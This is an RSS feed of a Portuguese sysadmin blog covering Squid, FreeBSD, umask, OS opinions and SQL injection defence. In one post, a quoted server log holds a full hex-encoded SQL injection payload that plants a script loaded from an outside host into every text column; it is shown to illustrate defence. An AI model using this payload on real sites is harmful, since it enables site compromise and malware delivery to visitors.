<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>

<channel>
	<title>Eli Rios</title>
	<atom:link href="http://www.elirios.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.elirios.com</link>
	<description>sudo bash...</description>
	<pubDate>Tue, 09 Sep 2008 12:32:00 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.5.1</generator>
	<language>en</language>
			<item>
		<title>Como solucionar o problema &#8220;WARNING! Your cache is running out of filedescriptors&#8221; no SQUID rodando em Debian?</title>
		<link>http://www.elirios.com/2008/09/09/your-cache-is-running-out-of-filedescriptors/</link>
		<comments>http://www.elirios.com/2008/09/09/your-cache-is-running-out-of-filedescriptors/#comments</comments>
		<pubDate>Tue, 09 Sep 2008 12:28:26 +0000</pubDate>
		<dc:creator>EliRios</dc:creator>
		
		<category><![CDATA[linux]]></category>

		<category><![CDATA[squid]]></category>

		<category><![CDATA[cache]]></category>

		<category><![CDATA[debian]]></category>

		<category><![CDATA[filedescriptor]]></category>

		<guid isPermaLink="false">http://www.elirios.com/?p=55</guid>
		<description><![CDATA[Li muito a respeito e para cada distribuição ou sitema operacional (como FreeBSD), solução é igual, aplicada de forma diferente.
Esse aviso no log diz que o SQUID está tentando acessar mais arquivos do que lhe é permitido. Isso causa lentidão no acesso a web e assim começa uma ação em cadeia que faz que o [...]]]></description>
			<content:encoded><![CDATA[<p>Li muito a respeito e para cada distribuição ou sitema operacional (como FreeBSD), solução é igual, aplicada de forma diferente.</p>
<p>Esse aviso no log diz que o SQUID está tentando acessar mais arquivos do que lhe é permitido. Isso causa lentidão no acesso a web e assim começa uma ação em cadeia que faz que o usuário não acesse nenhum site.</p>
<p>A solução então aumentar esse limite, que no Debian é de 1024 por padrão. Existe um arquivo que devemos editar:</p>
<p><em>/etc/default/squid</em></p>
<blockquote><p>#<br />
# /etc/default/squid    Configuration settings for the Squid proxy server.<br />
#<br />
# Max. number of filedescriptors to use. You can increase this on a busy<br />
# cache to a maximum of (currently) 4096 filedescriptors. Default is 1024.<br />
SQUID_MAXFD=1024</p></blockquote>
<p>Observe que a linha SQUID_MAXFD define o valor em 1024, que pode ser alterado para no máximo 4096 sem ter que recompilar nada. Para um valor maior, será necessário a recompilação tanto do SQUID quanto de alguns módulos do kernel.</p>
<p>Depois de alterar, basta reinicializar o processo do SQUID</p>
<p><em>/etc/init.d/squid restart</em></p>
<p>ou</p>
<p><em>/etc/init.d/squid stop &amp;&amp; /etc/init.d/squid start</em></p>
<p>Aqui funcionou. Ainda temos outros problemas aqui em relação ao cache, mas é mais em questão de hardware limitado do que configuração. Mas isso é assunto para outro post.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.elirios.com/2008/09/09/your-cache-is-running-out-of-filedescriptors/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Voltando a postar&#8230;</title>
		<link>http://www.elirios.com/2008/09/08/voltando-a-postar/</link>
		<comments>http://www.elirios.com/2008/09/08/voltando-a-postar/#comments</comments>
		<pubDate>Tue, 09 Sep 2008 00:53:46 +0000</pubDate>
		<dc:creator>EliRios</dc:creator>
		
		<category><![CDATA[sem categoria]]></category>

		<guid isPermaLink="false">http://www.elirios.com/?p=54</guid>
		<description><![CDATA[Após longo tempo sem postar, estou de volta. Peço desculpas a aqueles que já me visitavam. Amanhã postarei sobre o SQUID no Debian, como resolver o problema do max filedescriptors. Vou acabar trocando esse cache por um no FreeBSD. Mas até lá preciso manter esse no Debian, ainda em kernel 2.4.x
Agora, uma coisa que preciso [...]]]></description>
			<content:encoded><![CDATA[<p>Após longo tempo sem postar, estou de volta. Peço desculpas a aqueles que já me visitavam. Amanhã postarei sobre o SQUID no Debian, como resolver o problema do <em>max filedescriptors</em>. Vou acabar trocando esse cache por um no FreeBSD. Mas até lá preciso manter esse no Debian, ainda em kernel 2.4.x</p>
<p>Agora, uma coisa que preciso estudar é como dimencionar o hardware para um SQUID.</p>
<p>Isso aí gente. Estou de volta. Descobri aqui o prazer em compartilhar.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.elirios.com/2008/09/08/voltando-a-postar/feed/</wfw:commentRss>
		</item>
		<item>
		<title>FreeBSD: Como montar uma imagem ISO</title>
		<link>http://www.elirios.com/2008/07/15/freebsd-como-montar-uma-imagem-iso/</link>
		<comments>http://www.elirios.com/2008/07/15/freebsd-como-montar-uma-imagem-iso/#comments</comments>
		<pubDate>Tue, 15 Jul 2008 17:06:54 +0000</pubDate>
		<dc:creator>EliRios</dc:creator>
		
		<category><![CDATA[freebsd]]></category>

		<category><![CDATA[cdrom]]></category>

		<category><![CDATA[iso]]></category>

		<category><![CDATA[mount]]></category>

		<guid isPermaLink="false">http://www.elirios.com/?p=52</guid>
		<description><![CDATA[Para montar uma imagem ISO, use o comando mdconfig. A man page pode dar mais informações sobre esse comando, mas para nosso caso será assim:
mdconfig -a -t vnode -f image.iso
Você agora pode ver:
md0
(Assumindo que é o primeiro disco. O segundo será obviamente md1)
Então vamos ver como montar um disco como cdrom
mount_cd9660 /dev/md0 /mnt
O dispositivo será [...]]]></description>
			<content:encoded><![CDATA[<p>Para montar uma imagem ISO, use o comando <em>mdconfig</em>. A <em>man page</em> pode dar mais informações sobre esse comando, mas para nosso caso será assim:</p>
<p><em>mdconfig -a -t vnode -f image.iso</em></p>
<p>Você agora pode ver:</p>
<p><em>md0</em></p>
<p>(Assumindo que é o primeiro disco. O segundo será obviamente <em>md1</em>)</p>
<p>Então vamos ver como montar um disco como <em>cdrom</em></p>
<p><em>mount_cd9660 /dev/md0 /mnt</em></p>
<p>O dispositivo será então montado como se fosse um CDROM. Para liberar, use o -d para desatachar (e -u para unidade)</p>
<p><em>mdconfig -d -u 0</em></p>
<p>0, lógico, refere-se ao número da unidade. Se for md1, então use <em>mdconfig -d -u 1</em>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.elirios.com/2008/07/15/freebsd-como-montar-uma-imagem-iso/feed/</wfw:commentRss>
		</item>
		<item>
		<title>umask - o que é isso?</title>
		<link>http://www.elirios.com/2008/07/04/umask-o-que-e-isso/</link>
		<comments>http://www.elirios.com/2008/07/04/umask-o-que-e-isso/#comments</comments>
		<pubDate>Fri, 04 Jul 2008 13:16:50 +0000</pubDate>
		<dc:creator>EliRios</dc:creator>
		
		<category><![CDATA[freebsd]]></category>

		<category><![CDATA[linux]]></category>

		<category><![CDATA[unix]]></category>

		<category><![CDATA[umask]]></category>

		<guid isPermaLink="false">http://www.elirios.com/?p=51</guid>
		<description><![CDATA[Muito comum em sistemas unix like, o umask (user file creation mode mask) é uma função POSIX que afeta a máscara de permissão que o arquivo é criado.
É simples. Para arquivos, acesso total se tem como permissão 666(rw-) e para diretórios 777(rwx). O valor de umask deve ser calculado assim:
&#60;acesso total&#62; - &#60;valor da permissão&#62; [...]]]></description>
			<content:encoded><![CDATA[<p>Muito comum em sistemas <em>unix like</em>, o umask (<em><strong>u</strong>ser file creation mode <strong>mask</strong></em>) é uma função <em>POSIX </em>que afeta a máscara de permissão que o arquivo é criado.</p>
<p>É simples. Para arquivos, acesso total se tem como permissão 666(rw-) e para diretórios 777(rwx). O valor de <em>umask </em>deve ser calculado assim:</p>
<p>&lt;acesso total&gt; - &lt;valor da permissão&gt; = &lt;valor umask&gt;</p>
<p>Exemplo:</p>
<p><strong>666 - 664 = 002 </strong>=&gt; gera arquivos que o usuário e o grupo tem acesso total e que todos tem acesso somente leitura.</p>
<p>Importante: O comando <em>umask </em>define um novo <em>umask </em>somente para sessão atual. Programas <em>daemon </em>de <em>ftp </em>também usam para definir parâmetros de criação de arquivos, assim como o <em>samba</em></p>
<p>Fontes:</p>
<p><a href="http://en.wikipedia.org/wiki/Umask">http://en.wikipedia.org/wiki/Umask</a></p>
<p><a href="http://www.tech-faq.com/lang/pt/umask.shtml">http://www.tech-faq.com/lang/pt/umask.shtml</a></p>
<p><a href="http://www.vivaolinux.com.br/artigos/verArtigo.php?codigo=6994&amp;pagina=2">http://www.vivaolinux.com.br/artigos/verArtigo.php?codigo=6994&amp;pagina=2</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.elirios.com/2008/07/04/umask-o-que-e-isso/feed/</wfw:commentRss>
		</item>
		<item>
		<title>FreeBSD - como gerar uma senha aleatória</title>
		<link>http://www.elirios.com/2008/07/03/freebsd-como-gerar-uma-senha-aleatoria/</link>
		<comments>http://www.elirios.com/2008/07/03/freebsd-como-gerar-uma-senha-aleatoria/#comments</comments>
		<pubDate>Thu, 03 Jul 2008 14:04:10 +0000</pubDate>
		<dc:creator>EliRios</dc:creator>
		
		<category><![CDATA[freebsd]]></category>

		<category><![CDATA[aleatória]]></category>

		<category><![CDATA[gerar]]></category>

		<category><![CDATA[senha]]></category>

		<guid isPermaLink="false">http://www.elirios.com/?p=50</guid>
		<description><![CDATA[Para gerar uma senha aleatória para um usuário (com o usuário já existente no sistema, já que se não existe, o script adduser já fornece a opção de criação de senha aleatória) pode-se usar o comando pw:
pw usermod  -w random
onde:

pw - cria, remove, modifica e mostra usuários e grupos do sistema;
usermod - define que [...]]]></description>
			<content:encoded><![CDATA[<p>Para gerar uma senha aleatória para um usuário (com o usuário já existente no sistema, já que se não existe, o script <em>adduser </em>já fornece a opção de criação de senha aleatória) pode-se usar o comando <em>pw</em>:</p>
<blockquote><p>pw usermod  -w random</p></blockquote>
<p>onde:</p>
<ul>
<li><em>pw </em>- cria, remove, modifica e mostra usuários e grupos do sistema;</li>
<li><em>usermod </em>- define que o comando pw será usado para modificar um usuário;</li>
<li> - nome do usuário para gerar a senha aleatória;</li>
<li><em>-w</em> - define que será editada a senha de um usuário já existente no sistema;</li>
<li><em>random </em>- define que o método de edição será a geração aleatória da senha.</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.elirios.com/2008/07/03/freebsd-como-gerar-uma-senha-aleatoria/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Erro 404</title>
		<link>http://www.elirios.com/2008/07/02/erro-404/</link>
		<comments>http://www.elirios.com/2008/07/02/erro-404/#comments</comments>
		<pubDate>Wed, 02 Jul 2008 15:02:21 +0000</pubDate>
		<dc:creator>EliRios</dc:creator>
		
		<category><![CDATA[humor]]></category>

		<category><![CDATA[404]]></category>

		<guid isPermaLink="false">http://www.elirios.com/?p=48</guid>
		<description><![CDATA[O Erro 404 é um antigo demônio asteca que foi aprisionado pelo Príncipe Charles séculos atrás. Ele permaneceu preso até começar a era da internet, quando os desastrados experientes programadores da Microsoft o libertaram. Hoje esse demônio assombra toda a internet, espalhando o terror aos incautos internautas que navegam por mares nunca antes navegados. (desciclopedia).

A [...]]]></description>
			<content:encoded><![CDATA[<p>O <strong>Erro 404</strong> é um antigo demônio asteca que foi aprisionado pelo Príncipe Charles séculos atrás. Ele permaneceu preso até começar a era da internet, quando os desastrados experientes programadores da Microsoft o libertaram. Hoje esse demônio assombra toda a internet, espalhando o terror aos incautos internautas que navegam por mares nunca antes navegados. (<a href="http://desciclo.pedia.ws/wiki/Erro_404">desciclopedia</a>).<br />
<br />
A <a href="http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html">RFC 2616</a> explica:</p>
<h3>404 Not Found</h3>
<p><em> The server has not found anything matching the Request-URI. No    indication is given of whether the condition is temporary or    permanent. The 410 (Gone) status code SHOULD be used if the server    knows, through some internally configurable mechanism, that an old    resource is permanently unavailable and has no forwarding address.    This status code is commonly used when the server does not wish to    reveal exactly why the request has been refused, or when no other    response is applicable. </em><br />
<br />
Resumindo, o arquivo não existe no servidor, não foi encontrado, só isso&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.elirios.com/2008/07/02/erro-404/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Suporte Medieval</title>
		<link>http://www.elirios.com/2008/07/02/suporte-medieval/</link>
		<comments>http://www.elirios.com/2008/07/02/suporte-medieval/#comments</comments>
		<pubDate>Wed, 02 Jul 2008 10:00:38 +0000</pubDate>
		<dc:creator>EliRios</dc:creator>
		
		<category><![CDATA[humor]]></category>

		<category><![CDATA[video]]></category>

		<category><![CDATA[helpdesk]]></category>

		<category><![CDATA[suporte]]></category>

		<guid isPermaLink="false">http://www.elirios.com/?p=47</guid>
		<description><![CDATA[Para quem não é da área, é mais ou menos assim acontece (video abaixo). Desculpe a brincadeira, mas informática para usuário é assim - só precisa somente saber ler e ter um pouco de paciência.
Eu como analista tenho que ler livros e livros, acessar blogs, fóruns, sites de suporte. Preciso ligar para empresas, falar com [...]]]></description>
			<content:encoded><![CDATA[<p>Para quem não é da área, é mais ou menos assim acontece (video abaixo). Desculpe a brincadeira, mas informática para usuário é assim - só precisa somente saber ler e ter um pouco de paciência.</p>
<p>Eu como analista tenho que ler livros e livros, acessar blogs, fóruns, sites de suporte. Preciso ligar para empresas, falar com outros suportes, assistir palestras. O usuário só precisa perder o medo do computador e ter um pouco de paciência para ler as mensagens do monitor e lembrar um pouco das orientações do suporte.</p>
<p>Como exemplo um sonoplasta na Rádio Cultura aqui da fundação que trabalho: ele conheceu toda a história da rádio no Brasil, editou áudio de todas as formas possíveis e hoje usa um computador para isso. Grande Lenine.</p>
<p>Abrir a mente, esvaziar a xícara, chame como quiser. A tecnologia só facilita se você deixar ela entrar na sua vida.</p>
<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="425" height="344" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="src" value="http://www.youtube.com/v/pQHX-SjgQvQ&amp;hl=en" /><embed type="application/x-shockwave-flash" width="425" height="344" src="http://www.youtube.com/v/pQHX-SjgQvQ&amp;hl=en" allowfullscreen="true"></embed></object></p>
]]></content:encoded>
			<wfw:commentRss>http://www.elirios.com/2008/07/02/suporte-medieval/feed/</wfw:commentRss>
		</item>
		<item>
		<title>SQL Injection - o retorno</title>
		<link>http://www.elirios.com/2008/07/01/sql-injection-again/</link>
		<comments>http://www.elirios.com/2008/07/01/sql-injection-again/#comments</comments>
		<pubDate>Wed, 02 Jul 2008 02:09:39 +0000</pubDate>
		<dc:creator>EliRios</dc:creator>
		
		<category><![CDATA[seurança]]></category>

		<category><![CDATA[iis]]></category>

		<category><![CDATA[segurança]]></category>

		<category><![CDATA[sql]]></category>

		<guid isPermaLink="false">http://www.elirios.com/?p=46</guid>
		<description><![CDATA[Hacker bom é .. hacker bom. Gosto dos desafios de criar um sistema um pouco mais seguro.
Postei a alguns dias sobre SQL Injection. Conversando com colegas e amigos de profissão, chegamos a essa lista de soluções:

administração em outro link (URI), mantendo no site com um usuário e permissão read e no admin com permissão full [...]]]></description>
			<content:encoded><![CDATA[<p>Hacker bom é .. hacker bom. Gosto dos desafios de criar um sistema um pouco mais seguro.</p>
<p>Postei a alguns dias sobre <a href="http://www.elirios.com/2008/06/26/ms-ataca-injecao-de-sql-em-sites/">SQL Injection</a>. Conversando com colegas e amigos de profissão, chegamos a essa lista de soluções:</p>
<ul>
<li>administração em outro link (URI), mantendo no site com um usuário e permissão read e no admin com permissão full (com por exemplo em uma intranet)</li>
<li>store procedure (melhor solução)</li>
<li>passagem por variáveis para montar as queries. Antes de montar a query, um filtro no programa</li>
<li>soluções for dummies no meu post acima linkado</li>
</ul>
<p>Breve, rápido, simples assim. Desenvolvimento e infra trabalhando juntos.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.elirios.com/2008/07/01/sql-injection-again/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Ports - Primeira visão no FreeBSD</title>
		<link>http://www.elirios.com/2008/06/30/ports-primeira-visao-no-freebsd/</link>
		<comments>http://www.elirios.com/2008/06/30/ports-primeira-visao-no-freebsd/#comments</comments>
		<pubDate>Tue, 01 Jul 2008 00:53:29 +0000</pubDate>
		<dc:creator>EliRios</dc:creator>
		
		<category><![CDATA[freebsd]]></category>

		<category><![CDATA[ports]]></category>

		<guid isPermaLink="false">http://www.elirios.com/?p=44</guid>
		<description><![CDATA[Como bom usuário Slackware que sou, sempre instalava-o zerado e compilava o servidor que queria rodar nele. Aprendi isso com um guru que eu tinha para Linux, um amigo que apelidamos de Jesus, dizia que assim o sistema ficaria leve, personalizado e tudo mais.
Bom, cresci (profissionalmente), tive contatos com outros gurus de informática e aprendi [...]]]></description>
			<content:encoded><![CDATA[<p>Como bom usuário Slackware que sou, sempre instalava-o zerado e compilava o servidor que queria rodar nele. Aprendi isso com um guru que eu tinha para Linux, um amigo que apelidamos de Jesus, dizia que assim o sistema ficaria leve, personalizado e tudo mais.</p>
<p>Bom, cresci (profissionalmente), tive contatos com outros gurus de informática e aprendi que antes de &#8220;leveza&#8221;, mais importante era estabilidade.</p>
<p>Quando se compila algum programa, fica complicado sua atualização, durante a complicação você pode perceber que há uma dependência de outra lib ou programa para continuar poder compilar, deve-se pensar em muitos detalhes para rodar o &#8220;configure&#8221; da instalação, o sistema pode ficar instável, entre mais alguma coisa que possa ter esquecido.</p>
<p>Já instaladores de pacotes (rpm, apt-get, etc) instalam programas que foram testados e retestados pelos mantedores das distros (mas não em todas distros), mas como são binários, não podem ser personalizados.</p>
<p>Conheci então com o Renato o ports (Ports Collection)do FreeBSD. É uma estrutura baseada em Makefiles, diferente do apt-get, rpm, yum, etc, onde os pacotes são baixados da internet no seu formato código-fonte e não em binário. O legal do ports é que ele, além de baixar os sources e compilar, ele também baixa e compila todas as dependências para a instalação.</p>
<p>Vou descrever então como monto um servidor FreeBSD, usando o disco 1 do sistema operacional com o ports. Fácil, instalo o FreeBSD com a opção Custom, onde escolho somente os módulos para User, acesso o site <a title="Ports FreeBSD" href="http://www.freebsd.org/ports/" target="_blank">http://www.freebsd.org/ports/</a> para pesquisar o software que quero instalar, acesso a pasta que indicada com o make de instalação.</p>
<p>Chegou no diretório, agora é fácil fácil: rode make &amp;&amp; make install clean. Ele vai exibir uma tela de configuração dos módulo e então vai fazer o download do source, checar dependências, fazer download das dependências, compilar dependências e compilar o módulo, tudo sozinho. Lógico que tem o tempo do donwload, mas nada que mate não.</p>
<p>Assim, a grande vantagem é a personalização do pacote, coisa que não se tem com o apt-get e rpm da vida.</p>
<p>Ah, e se quiser desisntalar algo, no diretório do programa no ports, rode make deinstall. Muito fácil.</p>
<p>Estou adorando FreeBSD&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.elirios.com/2008/06/30/ports-primeira-visao-no-freebsd/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Sobre sistemas operacionais - minha opinião atual</title>
		<link>http://www.elirios.com/2008/06/30/sobre-sistemas-operacionais-minha-opiniao-atual/</link>
		<comments>http://www.elirios.com/2008/06/30/sobre-sistemas-operacionais-minha-opiniao-atual/#comments</comments>
		<pubDate>Mon, 30 Jun 2008 16:53:25 +0000</pubDate>
		<dc:creator>EliRios</dc:creator>
		
		<category><![CDATA[freebsd]]></category>

		<category><![CDATA[linux]]></category>

		<category><![CDATA[macos]]></category>

		<category><![CDATA[unix]]></category>

		<category><![CDATA[windows]]></category>

		<category><![CDATA[comparação]]></category>

		<category><![CDATA[review]]></category>

		<category><![CDATA[sistemas operacionais]]></category>

		<guid isPermaLink="false">http://www.elirios.com/?p=36</guid>
		<description><![CDATA[Todo mundo fala, opina e retruca, mas não sou &#8220;xiita&#8221;.
Assim como as pessoas, cada sistema operacional tem algo de bom a oferecer.
Descrevo o que acho:
FreeBSD

Ágil, leve, rápido e robusto, tem como ponto forte sua segurança, padronização e boa documentação. A primeira coisa que me chamou atenção nele foi o ports: um gerenciador de instalação fácil [...]]]></description>
			<content:encoded><![CDATA[<p>Todo mundo fala, opina e retruca, mas não sou &#8220;xiita&#8221;.<br />
Assim como as pessoas, cada sistema operacional tem algo de bom a oferecer.<br />
Descrevo o que acho:</p>
<h2>FreeBSD</h2>
<p><a href="http://www.elirios.com/wp-content/uploads/2008/06/beastie.gif"><img class="alignright alignnone size-medium wp-image-37" style="float: right;" title="beastie" src="http://www.elirios.com/wp-content/uploads/2008/06/beastie.gif" alt="FreeBSD" width="113" height="125" /></a></p>
<p>Ágil, leve, rápido e robusto, tem como ponto forte sua segurança, padronização e boa documentação. A primeira coisa que me chamou atenção nele foi o ports: um gerenciador de instalação fácil e rápido. Outro ponto forte é a velocidade para se colocar qualquer serviço no ar - levei 15 minutos para instalar um serviço de http com Apache, sem muitos ajustes, em um servidor sem sistema operacional. Seu ponto fraco fica em sua baixa compatibilidade de hardware, já que só e mantido pela Berkeley. Recomendo para serviços de rede, nunca para desktop.</p>
<h2>Linux</h2>
<p><a href="http://www.elirios.com/wp-content/uploads/2008/06/surfsup171007.jpg"><img class="alignleft alignnone size-thumbnail wp-image-38" style="float: left;" title="surfsup171007" src="http://www.elirios.com/wp-content/uploads/2008/06/surfsup171007-150x150.jpg" alt="" width="125" height="125" /></a>Com o mundo todo programando, tem amplo suporte a hardware e uma grande gama de softwares livres a <em>la carte</em>. E o sistema mais integrado ao protocolo TCP/IP, tendo, no meu ponto de vista, a melhor implementação. Muito customizável, sendo isso sua fraqueza e sua fortaleza.<br />
Pelo Linux ser o seu kernel e ser aberto, há muitas distribuições com suas próprias padronizações (ou com a falta dela), o que torna o uso para o leigo um inferno. Para esses indico o Ubuntu, Debian ou ate mesmo Red Hat.<br />
Fácil de programar, leve, versátil e robusto, há distros para todos os gostos.<br />
Recomendo para firewalls e desktops (Ubuntu). Bom também como servidor:<br />
- se o que procura for velocidade, Slackware. Ótimo para firewalls;<br />
- se for novidade, Fedora no seu constante estado beta. Ótimo para programadores;<br />
- se for usabilidade (entendi esse termo com meu amigo, Hodney) e compatibilidade de hardware, Ubuntu. Muito bom para leigos, curiosos e marinheiros de primeira viagem,<br />
- serviços, Debian ou Red Hat.</p>
<h2>Mac OS X</h2>
<p><a href="http://www.elirios.com/wp-content/uploads/2008/06/mac-os-x-logo1.jpg"><img class="alignright alignnone size-medium wp-image-40" style="float: right;" title="mac-os-x-logo1" src="http://www.elirios.com/wp-content/uploads/2008/06/mac-os-x-logo1.jpg" alt="" width="106" height="114" /></a>Usabilidade e design definem o sistema. E ao contrário do que se pensa, não é só para designers e gente moderninha - é um sistema muito rápido, estável, compatível com outros sistemas, amigável, além de gerenciável por se basear em Unix.<br />
Ainda não oferece bons servidores, mas não importa - é tão compatível que não faz falta.<br />
Seus pontos negativos que percebi até agora são somente rodar em computadores Mac e um editor de apresentações nativo (alguma coisa com Key no nome) pobre de recursos, mas que nada que uma instalação de um Open Office não resolva.<br />
Para mim, o melhor como desktop.</p>
<h2>Windows</h2>
<p><a href="http://www.elirios.com/wp-content/uploads/2008/06/windows_logo.jpg"><img class="alignleft alignnone size-thumbnail wp-image-41" style="float: left;" title="windows_logo" src="http://www.elirios.com/wp-content/uploads/2008/06/windows_logo-150x150.jpg" alt="" width="125" height="125" /></a>Muitos vão rir. Até eu nunca pensei antes em dizer isso, mas ele funciona.<br />
Mas calma, que explico minha teoria - ele funciona, mas no estado que chamo de &#8220;travado&#8221;. Por causa de sua estrutura de bibliotecas, se instalarem muitos programas, o sistema acaba ficando instável. Ideal rodando poucos programas, sem muitas instalações, desinstalações e reinstalações.<br />
E também a plataforma ainda mais rica em quantidade de jogos.<br />
Como servidor, sua versão server tem o ótimo recurso chamado Active Directory, ou AD, perfeito para ambientes corporativos.<br />
Um bom desktop, se não houver muitas instalações, uma boa estação para jogos, com muitos títulos. E é um bom servidor corporativo.<br />
Li há pouco tempo sobre o servidor Samba 4 (para Linux, FreeBSD e outros <em>Unix like</em>), ainda em estado alpha. Promete um AD, o que é bom, para que haja um rival ao Windows Server.</p>
<h2>Solaris, Beos, HPUX e outros.</h2>
<p>Não usei ou não vi ainda a fundo outros sistemas. Quando tiver algum contato, posto aqui.</p>
<h2>Conclusão</h2>
<p>Não se pode ser um &#8220;xiita&#8221; nesse assunto. Para uso pessoal ou corporativo, deve-se estudar a aplicação para melhor escolha.</p>
<h2>Sobre esse texto</h2>
<ol>
<li>Essa é uma opinião pessoal, por isso não definitiva. Não pretendo aqui nada mais que expressar minha opinião atual, por isso comentários serão bem vindos.</li>
<li>E esse texto foi todo escrito em um velho Palm Vx, em toda minha ansiedade por blogar.</li>
</ol>
]]></content:encoded>
			<wfw:commentRss>http://www.elirios.com/2008/06/30/sobre-sistemas-operacionais-minha-opiniao-atual/feed/</wfw:commentRss>
		</item>
		<item>
		<title>MS ataca injeção de SQL em sites</title>
		<link>http://www.elirios.com/2008/06/26/ms-ataca-injecao-de-sql-em-sites/</link>
		<comments>http://www.elirios.com/2008/06/26/ms-ataca-injecao-de-sql-em-sites/#comments</comments>
		<pubDate>Thu, 26 Jun 2008 15:46:38 +0000</pubDate>
		<dc:creator>EliRios</dc:creator>
		
		<category><![CDATA[iis]]></category>

		<category><![CDATA[windows]]></category>

		<category><![CDATA[asp]]></category>

		<category><![CDATA[bug]]></category>

		<category><![CDATA[microsoft]]></category>

		<category><![CDATA[sql]]></category>

		<category><![CDATA[sql injection]]></category>

		<guid isPermaLink="false">http://www.elirios.com/?p=35</guid>
		<description><![CDATA[Recebi no meu e-mail agorinha:
A Microsoft liberou esta semana ferramentas para combater ataques por injeção de SQL em web sites.
Recentemente, atacantes invadiram sites legítimos que usam o SQL da Microsoft e injetaram nas páginas códigos maliciosos em JavaScript. Esses códigos redirecionam o browser para servidores que abrigam programas nocivos e infectam a máquina do visitante.
Voltada [...]]]></description>
			<content:encoded><![CDATA[<p>Recebi no meu e-mail agorinha:</p>
<blockquote><p>A Microsoft liberou esta semana ferramentas para combater ataques por injeção de <em>SQL </em>em <em>web </em>sites.</p>
<p>Recentemente, atacantes invadiram sites legítimos que usam o <em>SQL </em>da Microsoft e injetaram nas páginas códigos maliciosos em <em>JavaScript</em>. Esses códigos redirecionam o browser para servidores que abrigam programas nocivos e infectam a máquina do visitante.</p>
<p>Voltada para desenvolvedores web, as novas ferramentas são gratuitas e objetivam prevenir esse tipo de ataque. São três aplicações. A primeira é <em>HP Scrawlr</em>. Desenvolvida pela HP, identifica se o site é suscetível a injeção de <em>SQL</em>.</p>
<p>Outro produto é o <em>URL Scan 3.0 Beta</em>, da própria Microsoft, que tem a função de defesa. O <em>URL Scan </em>restringe os tipos de requisições HTTP que o servidor <em>IIS </em>processa. O produto pode ser instalado no <em>IIS </em>5.1 e versões posteriores.</p>
<p>Por fim, vem o <em>Source Code Analyzer for SQL Injection</em>, ferramenta também assinada pela Microsoft. Seu objetivo é detectar códigos <em>ASP </em>e <em>ASP.net</em> vulneráveis a ataques de injeção de <em>SQL</em>. Detalhes técnicos sobre os três produtos encontram-se no <a href="http://www.microsoft.com/technet/security/advisory/954462.mspx">boletim de segurança 954462(link)</a>, de 24 de junho de 2008.</p></blockquote>
<p>Já vi isso acontecer, no log do servidor achei isso:</p>
<blockquote><p>189.104.14.173 - - [dd/M/Year:hh:mm:ss -0300] &#8220;GET /script.asp?id=23;DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0&#215;44<br />
45434C415245204054205641524348415228323535292C40432056415243484152<br />
2832353529204445434C415245205461626C655F437572736F7220435552534F52<br />
20464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379<br />
736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69<br />
643D622E696420414E4420612E78747970653D27752720414E442028622E787479<br />
70653D3939204F5220622E78747970653D3335204F5220622E78747970653D3233<br />
31204F5220622E78747970653D31363729204F50454E205461626C655F43757273<br />
6F72204645544348204E4558542046524F4D205461626C655F437572736F722049<br />
4E544F2040542C4043205748494C4528404046455443485F5354415455533D3029<br />
20424547494E20455845432827555044415445205B272B40542B275D2053455420<br />
5B272B40432B275D3D525452494D28434F4E564552542856415243484152283430<br />
3030292C5B272B40432B275D29292B27273C736372697074207372633D68747470<br />
3A2F2F7777772E6462757064722E636F6D2F622E6A733E3C2F7363726970743E27<br />
272729204645544348204E4558542046524F4D205461626C655F437572736F7220<br />
494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72<br />
204445414C4C4F43415445205461626C655F437572736F7220%20AS%20VARCHAR<br />
(4000));EXEC(@S);&#8211; HTTP/1.1&#8243; 500 731</p></blockquote>
<p>Lógico que esse <em>IIS </em>tem um <em>reverse proxy</em> na frente por segurança. Dá para ver claramente o que o atacante tentou fazer: declara uma variável &#8220;S&#8221; como varchar(4000), seta o valor dela com uma sequência hexadecimal, provavelmente um executável, e no fim dá um exec(s) para executar o código no servidor.</p>
<p>Não funciona esse ataque quando o usuário <em>SQL </em>só tem permissão para <em>read </em>no banco.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.elirios.com/2008/06/26/ms-ataca-injecao-de-sql-em-sites/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Link: blog GEEKS</title>
		<link>http://www.elirios.com/2008/06/25/link-blog-geeks/</link>
		<comments>http://www.elirios.com/2008/06/25/link-blog-geeks/#comments</comments>
		<pubDate>Wed, 25 Jun 2008 21:21:35 +0000</pubDate>
		<dc:creator>EliRios</dc:creator>
		
		<category><![CDATA[link]]></category>

		<category><![CDATA[autor]]></category>

		<category><![CDATA[blog]]></category>

		<category><![CDATA[geek]]></category>

		<guid isPermaLink="false">http://www.elirios.com/?p=33</guid>
		<description><![CDATA[Pois é, agora adotei mesmo esse costume de blogar. Estou participando de outro blog: GEEKS.BLOG.BR.
Mantido por mim, Jairo Molina, Fúlvio Oliveira, Marga e Alexandre Martins, falamos sobre o que é ser Geek, sobre o que &#8220;gostamos&#8221;, coisas que nos chamam atenção.
Trabalhamos a um tempo atrás no provedor Intermol, em Mogi das Cruzes. Sempre preocupados em [...]]]></description>
